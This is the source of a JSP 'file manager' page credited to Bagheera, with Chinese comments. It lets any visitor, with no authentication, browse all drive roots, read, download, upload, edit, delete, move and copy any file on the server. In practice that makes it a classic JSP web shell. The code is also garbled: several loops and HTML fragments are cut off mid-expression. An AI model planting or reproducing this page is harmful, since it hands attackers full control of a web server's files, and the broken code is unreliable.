<%@ page import="java.util.*,java.net.*,java.text.*,java.util.zip.*,java.io.*"%> <%@ page contentType="text/html;charset=gb2312"%> <%! /* ************************************************************************************** *JSP 文件管理器 v1.001 * *Copyright (C) 2003 by Bagheera * *E-mail:bagheera@beareyes.com * *QQ:179189585 * *http://jmmm.com * *------------------------------------------------------------------------------------* *警告:请不要随便修改以上版权信息! * ************************************************************************************** *#######免费空间管理系统正在完善之中,请到这里测试并发表宝贵意见: * **http://jmmm.com/web/index.jsp 测试帐号:test 密码:test * ************************************************************************************** */ //编辑器显示列数 private static final int EDITFIELD_COLS =100; //编辑器显示行数 private static final int EDITFIELD_ROWS = 30; //----------------------------------------------------------------------------- //改变上传文件是的缓冲目录(一般不需要修改) private static String tempdir = "."; public class FileInfo{ public String name = null, clientFileName = null, fileContentType = null; private byte[] fileContents = null; public File file = null; public StringBuffer sb = new StringBuffer(100); public void setFileContents(byte[] aByteArray){ fileContents = new byte[aByteArray.length]; System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); } } public class HttpMultiPartParser{ private final String lineSeparator = System.getProperty("line.separator", "\n"); private final int ONE_MB=1024*1024*1; public Hashtable processData(ServletInputStream is, String boundary, String saveInDir) throws IllegalArgumentException, IOException { if (is == null) throw new IllegalArgumentException("InputStream"); if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException("boundary"); boundary = "--" + boundary; StringTokenizer stLine = null, stFields = null; FileInfo fileInfo = null; Hashtable dataTable = new Hashtable(5); String line = null, field = null, paramName = null; boolean saveFiles=(saveInDir != null && saveInDir.trim().length() > 0), isFile = false; if (saveFiles){ File f = new File(saveInDir); f.mkdirs(); } line = getLine(is); if (line == null || !line.startsWith(boundary)) throw new IOException("未发现;" +" boundary = " + boundary +", line = " + line); while (line != null){ if (line == null || !line.startsWith(boundary)) return dataTable; line = getLine(is); if (line == null) return dataTable; stLine = new StringTokenizer(line, ";\r\n"); if (stLine.countTokens() < 2) throw new IllegalArgumentException("出现错误!"); line = stLine.nextToken().toLowerCase(); if (line.indexOf("form-data") < 0) throw new IllegalArgumentException("出现错误!"); stFields = new StringTokenizer(stLine.nextToken(), "=\""); if (stFields.countTokens() < 2) throw new IllegalArgumentException("出现错误!"); fileInfo = new FileInfo(); stFields.nextToken(); paramName = stFields.nextToken(); isFile = false; if (stLine.hasMoreTokens()){ field = stLine.nextToken(); stFields = new StringTokenizer(field, "=\""); if (stFields.countTokens() > 1){ if (stFields.nextToken().trim().equalsIgnoreCase("filename")){ fileInfo.name=paramName; String value = stFields.nextToken(); if (value != null && value.trim().length() > 0){ fileInfo.clientFileName=value; isFile = true; } else{ line = getLine(is); // 去掉"Content-Type:"行 line = getLine(is); // 去掉空白行 line = getLine(is); // 去掉空白行 line = getLine(is); // 定位 continue; } } } else if (field.toLowerCase().indexOf("filename") >= 0){ line = getLine(is); // 去掉"Content-Type:"行 line = getLine(is); // 去掉空白行 line = getLine(is); // 去掉空白行 line = getLine(is); // 定位 continue; } } boolean skipBlankLine = true; if (isFile){ line = getLine(is); if (line == null) return dataTable; if (line.trim().length() < 1) skipBlankLine = false; else{ stLine = new StringTokenizer(line, ": "); if (stLine.countTokens() < 2) throw new IllegalArgumentException("出现错误!"); stLine.nextToken(); fileInfo.fileContentType=stLine.nextToken(); } } if (skipBlankLine){ line = getLine(is); if (line == null) return dataTable; } if (!isFile){ line = getLine(is); if (line == null) return dataTable; dataTable.put(paramName, line); //判断是否为目录 if (paramName.equals("dir")){ saveInDir = line; System.out.println(line); } line = getLine(is); continue; } try{ OutputStream os = null; String path = null; if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, fileInfo.clientFileName)); else os = new ByteArrayOutputStream(ONE_MB); boolean readingContent = true; byte previousLine[] = new byte[2 * ONE_MB]; byte temp[] = null; byte currentLine[] = new byte[2 * ONE_MB]; int read, read3; if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { line = null; break; } while (readingContent){ if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { line = null; break; } if (compareBoundary(boundary, currentLine)){ os.write( previousLine, 0, read ); os.flush(); line = new String( currentLine, 0, read3 ); break; } else{ os.write( previousLine, 0, read ); os.flush(); temp = currentLine; currentLine = previousLine; previousLine = temp; read = read3; } } os.close(); temp = null; previousLine = null; currentLine = null; if (!saveFiles){ ByteArrayOutputStream baos = (ByteArrayOutputStream)os; fileInfo.setFileContents(baos.toByteArray()); } else{ fileInfo.file = new File(path); os = null; } dataTable.put(paramName, fileInfo); } catch (IOException e) { throw e; } } return dataTable; } // 比较数据 private boolean compareBoundary(String boundary, byte ba[]){ byte b; if (boundary == null || ba == null) return false; for (int i=0; i < boundary.length(); i++) if ((byte)boundary.charAt(i) != ba[i]) return false; return true; } private synchronized String getLine(ServletInputStream sis) throws IOException{ byte b[] = new byte[1024]; int read = sis.readLine(b, 0, b.length), index; String line = null; if (read != -1){ line = new String(b, 0, read); if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index-1); } b = null; return line; } public String getFileName(String dir, String fileName) throws IllegalArgumentException{ String path = null; if (dir == null || fileName == null) throw new IllegalArgumentException("目录或者文件不存在!"); int index = fileName.lastIndexOf('/'); String name = null; if (index >= 0) name = fileName.substring(index + 1); else name = fileName; index = name.lastIndexOf('\\'); if (index >= 0) fileName = name.substring(index + 1); path = dir + File.separator + fileName; if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); else return path.replace('/', File.separatorChar); } } /** * 下面这个类是为文件和目录排序 * @author bagheera * @version 1.001 */ class FileComp implements Comparator{ int mode=1; /** * @排序方法 1=文件名, 2=大小, 3=日期 */ FileComp (int mode){ this.mode=mode; } public int compare(Object o1, Object o2){ File f1 = (File)o1; File f2 = (File)o2; if (f1.isDirectory()){ if (f2.isDirectory()){ switch(mode){ case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase()); case 2:return new Long(f1.length()).compareTo(new Long(f2.length())); case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())); default:return 1; } } else return -1; } else if (f2.isDirectory()) return 1; else{ switch(mode){ case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase()); case 2:return new Long(f1.length()).compareTo(new Long(f2.length())); case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())); default:return 1; } } } } class Writer2Stream extends OutputStream{ Writer out; Writer2Stream (Writer w){ super(); out=w; } public void write(int i) throws IOException{ out.write(i); } public void write(byte[] b) throws IOException{ for (int i=0;i>>4)&0xF)*16+(n&0xF); out.write (n); } } public void write(byte[] b, int off, int len) throws IOException{ for (int i=off;i>>4)&0xF)*16+(n&0xF); out.write (n); } } } static Vector expandFileList(String[] files, boolean inclDirs){ Vector v = new Vector(); if (files==null) return v; for (int i=0;i -1 ){ j = s.indexOf( search, i ); if ( j > -1 ){ s2.append( s.substring(i,j) ); s2.append( replace ); i = j + len; } } s2.append( s.substring(i, s.length()) ); return s2.toString(); } static String getDir (String dir, String name){ if (!dir.endsWith(File.separator)) dir=dir+File.separator; File mv = new File (name); String new_dir=null; if (!mv.isAbsolute()){ new_dir=dir+name; } else new_dir=name; return new_dir; } %> <% request.setAttribute("dir", request.getParameter("dir")); String browser_name = request.getRequestURI(); //查看文件 if (request.getParameter("file")!=null){ File f = new File (request.getParameter("file")); BufferedInputStream reader = new BufferedInputStream(new FileInputStream(f)); int l = f.getName().lastIndexOf("."); //判断文件后缀 if (l>=0){ String ext = f.getName().substring(l).toLowerCase(); if (ext.equals(".jpg")||ext.equals(".jpeg")||ext.equals(".jpe")) response.setContentType("image/jpeg"); else if (ext.equals(".gif")) response.setContentType("image/gif"); else if (ext.equals(".pdf")) response.setContentType("application/pdf"); else if (ext.equals(".htm")||ext.equals(".html")||ext.equals(".shtml")) response.setContentType("text/html"); else if (ext.equals(".avi")) response.setContentType("video/x-msvideo"); else if (ext.equals(".mov")||ext.equals(".qt")) response.setContentType("video/quicktime"); else if (ext.equals(".mpg")||ext.equals(".mpeg")||ext.equals(".mpe")) response.setContentType("video/mpeg"); else if (ext.equals(".zip")) response.setContentType("application/zip"); else if (ext.equals(".tiff")||ext.equals(".tif")) response.setContentType("image/tiff"); else if (ext.equals(".rtf")) response.setContentType("application/rtf"); else if (ext.equals(".mid")||ext.equals(".midi")) response.setContentType("audio/x-midi"); else if (ext.equals(".xl")||ext.equals(".xls")||ext.equals(".xlv")||ext.equals(".xla") ||ext.equals(".xlb")||ext.equals(".xlt")||ext.equals(".xlm")||ext.equals(".xlk")) response.setContentType("application/excel"); else if (ext.equals(".doc")||ext.equals(".dot")) response.setContentType("application/msword"); else if (ext.equals(".png")) response.setContentType("image/png"); else if (ext.equals(".xml")) response.setContentType("text/xml"); else if (ext.equals(".svg")) response.setContentType("image/svg+xml"); else response.setContentType("text/plain"); } else response.setContentType("text/plain"); response.setContentLength((int)f.length()); out.clearBuffer(); int i; while ((i=reader.read())!=-1) out.write(i); reader.close(); out.flush(); } //保存所选中文件为zip文件 else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Save as zip"))){ Vector v = expandFileList(request.getParameterValues("selfile"), false); File dir_file = new File(""+request.getAttribute("dir")); int dir_l = dir_file.getAbsolutePath().length(); response.setContentType ("application/zip"); response.setHeader ("Content-Disposition", "attachment;filename=\"bagheera.zip\""); out.clearBuffer(); ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out)); zipout.setComment("Created by JSP 文件管理器 1.001"); for (int i=0;i

文件"+f.getAbsolutePath()+ "不存在或者无读权限

"); } } else{ if (request.getAttribute("dir")==null){ request.setAttribute ("dir", application.getRealPath(".")); } %> <% } //上传 if ((request.getContentType()!=null)&&(request.getContentType().toLowerCase().startsWith("multipart"))){ response.setContentType("text/html"); HttpMultiPartParser parser = new HttpMultiPartParser(); boolean error = false; try{ Hashtable ht = parser.processData(request.getInputStream(), "-", tempdir); if (ht.get("myFile")!=null){ FileInfo fi = (FileInfo)ht.get("myFile"); File f = fi.file; //把文件从缓冲目录里复制出来 String path = (String)ht.get("dir"); if (!path.endsWith(File.separator)) path = path+File.separator; if (!f.renameTo(new File(path+f.getName()))){ request.setAttribute("message", "无法上传文件."); error = true; f.delete(); } } else{ request.setAttribute("message", "请选中上传文件!"); error = true; } request.setAttribute("dir", (String)ht.get("dir")); } catch (Exception e){ request.setAttribute("message", "发生如下错误:"+e+". 上传失败!"); error = true; } if (!error) request.setAttribute("message", "文件上传成功."); } else if (request.getParameter("editfile")!=null){ %> JSP文件管理器-编辑文件:<%=request.getParameter("editfile")%> <% String encoding="gb2312"; request.setAttribute("dir", null); File ef = new File(request.getParameter("editfile")); BufferedReader reader = new BufferedReader(new FileReader(ef)); String disable = ""; if (!ef.canWrite()) disable = "无法打开文件"; out.print("
\n"+ " ">
覆写
<% } //保存文件 else if (request.getParameter("nfile")!=null){ File f = new File(request.getParameter("nfile")); File new_f = new File(getDir(f.getParent(), request.getParameter("new_name"))); if (request.getParameter("Submit").equals("Save")){ if (new_f.exists()&&request.getParameter("Backup")!=null){ File bak = new File(new_f.getAbsolutePath()+".bak"); bak.delete(); new_f.renameTo(bak); } BufferedWriter outs = new BufferedWriter(new FileWriter(new_f)); outs.write(request.getParameter("text")); outs.flush(); outs.close(); } request.setAttribute("dir", f.getParent()); } //删除文件 else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Delete Files"))){ Vector v = expandFileList(request.getParameterValues("selfile"), true); boolean error = false; for (int i=v.size()-1;i>=0;i--){ File f = (File)v.get(i); if (!f.canWrite()||!f.delete()){ request.setAttribute("message", "无法删除文件"+f.getAbsolutePath()+". 删除失败"); error = true; break; } } if ((!error)&&(v.size()>1)) request.setAttribute("message", "All files deleted"); else if ((!error)&&(v.size()>0)) request.setAttribute("message", "File deleted"); else if (!error) request.setAttribute("message", "No files selected"); } //建新目录 else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create Dir"))){ String dir = ""+request.getAttribute("dir"); String dir_name = request.getParameter("cr_dir"); String new_dir = getDir (dir, dir_name); if (new File(new_dir).mkdirs()){ request.setAttribute("message", "目录创建完成"); } else request.setAttribute("message", "创建新目录"+new_dir+"失败"); } //创建文件 else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create File"))){ String dir = ""+request.getAttribute("dir"); String file_name = request.getParameter("cr_dir"); String new_file = getDir (dir, file_name); //Test, if file_name is empty if ((file_name.trim()!="")&&!file_name.endsWith(File.separator)){ if (new File(new_file).createNewFile()) request.setAttribute("message", "文件成功创建"); else request.setAttribute("message", "创建文件"+new_file+"失败"); } else request.setAttribute("message", "错误: "+file_name+"文件不存在"); } //转移文件 else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Move Files"))){ Vector v = expandFileList(request.getParameterValues("selfile"), true); String dir = ""+request.getAttribute("dir"); String dir_name = request.getParameter("cr_dir"); String new_dir = getDir(dir, dir_name); boolean error = false; if (!new_dir.endsWith(File.separator)) new_dir+=File.separator; for (int i=v.size()-1;i>=0;i--){ File f = (File)v.get(i); if (!f.canWrite()||!f.renameTo(new File(new_dir+f.getAbsolutePath().substring(dir.length())))){ request.setAttribute("message", "不能转移"+f.getAbsolutePath()+".转移失败"); error = true; break; } } if ((!error)&&(v.size()>1)) request.setAttribute("message", "全部文件转移成功"); else if ((!error)&&(v.size()>0)) request.setAttribute("message", "文件转移成功"); else if (!error) request.setAttribute("message", "请选择文件"); } //复制文件 else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Copy Files"))){ Vector v = expandFileList(request.getParameterValues("selfile"), true); String dir = (String)request.getAttribute("dir"); if (!dir.endsWith(File.separator)) dir+=File.separator; String dir_name = request.getParameter("cr_dir"); String new_dir = getDir(dir, dir_name); boolean error = false; if (!new_dir.endsWith(File.separator)) new_dir+=File.separator; byte buffer[] = new byte[0xffff]; try{ for (int i=0;i1)) request.setAttribute("message", "全部文件复制成功"); else if ((!error)&&(v.size()>0)) request.setAttribute("message", "文件复制成功"); else if (!error) request.setAttribute("message", "请选择文件"); } //目录浏览 if ((request.getAttribute("dir")!=null)){ %> JSP文件管理器-目录浏览:<%=request.getAttribute("dir")%>
<% if (request.getAttribute("message")!=null){ out.println("
"); out.println(request.getAttribute("message")); out.println("
"); } %>
<% String dir = URLEncoder.encode(""+request.getAttribute("dir")); String cmd = browser_name+"?dir="+dir; out.println(""+ ""+ ""+ ""); char trenner=File.separatorChar; File f=new File(""+request.getAttribute("dir")); //跟或者分区 File[] entry=File.listRoots(); for (int i=0;i"); out.println(""); } out.println("
"); //.. if (f.getParent()!=null){ out.println(""); out.println(""); } //文件和目录 entry=f.listFiles(); if (entry!=null&&entry.length>0){ int mode=1; if (request.getParameter("sort")!=null) mode = Integer.parseInt(request.getParameter("sort")); Arrays.sort(entry, new FileComp(mode)); String ahref = "["+buf+"]"; else link = "["+buf+"]"; } else{ if (entry[i].canRead()){ if (entry[i].canWrite()){ link=ahref+browser_name+"?file="+name+"\">"+buf+""; dlink=ahref+browser_name+"?downfile="+name+"\">下载"; elink=ahref+browser_name+"?editfile="+name+"\">编辑"; } else{ link=ahref+browser_name+"?file="+name+"\">"+buf+""; dlink=ahref+browser_name+"?downfile="+name+"\">下载"; elink=ahref+browser_name+"?editfile="+name+"\">查看"; } } else{ link = buf; } } String date = DateFormat.getDateTimeInstance().format(new Date(entry[i].lastModified())); out.println(""); out.println(""); out.println(""); } } %>
文件名大小日期  ※切换到相应盘符:"); String name = URLEncoder.encode(entry[i].getAbsolutePath()); String buf = entry[i].getAbsolutePath(); out.println("◎["+buf+"]"); out.println("
"); out.println("[..]"); out.println("
"+link+""+entry[i].length()+ " bytes"+ date+"" +dlink+""+elink+"
">
">

JSP 文件管理器 v1.001 By Bagheerahttp://jmmm.com
<% } %>